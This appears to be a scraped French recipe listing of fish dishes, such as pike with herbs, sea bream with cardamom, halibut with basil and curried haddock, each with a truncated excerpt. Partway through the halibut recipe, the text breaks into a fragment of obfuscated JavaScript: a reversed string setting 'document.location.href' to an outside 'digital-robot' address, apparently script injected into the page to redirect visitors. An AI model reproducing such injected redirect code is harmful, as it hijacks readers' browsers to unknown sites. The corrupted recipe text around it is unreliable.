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Aumônières de poisson crème fouettée à la ciboulette

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Préparez la pâte à crêpe, en mélangeant dans un saladier la farine, le sel. Incorporez ...

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Brochet au vert

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Videz et parez le brochet. Équeutez, rincez les épinards, le persil, l’estragon, et la menthe. ...

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Dorade royale, sauce a la cardamome

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Rincez, séchez, salez et poivrez l’intérieur, l’extérieur du poisson. Malaxez le beurre jusqu’à en obtenir ...

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Filets de flétan grillés au basilic

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Rincez, séchez, effeuillez le basilic. Rincez, essorez les feuilles d’épinards. Pelez, épépinez, émincez les tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var ...

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Filet de perche aux herbes

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Pressez le citron. Hachez l’oignon. citronner la chair de poisson. Salez, poivrez. Ciselez les herbes. ...

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Haddock au curry

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Découpez les poissons en cubes, et faites-les tremper dans du lait pendant 2 heures. Égouttez, ...

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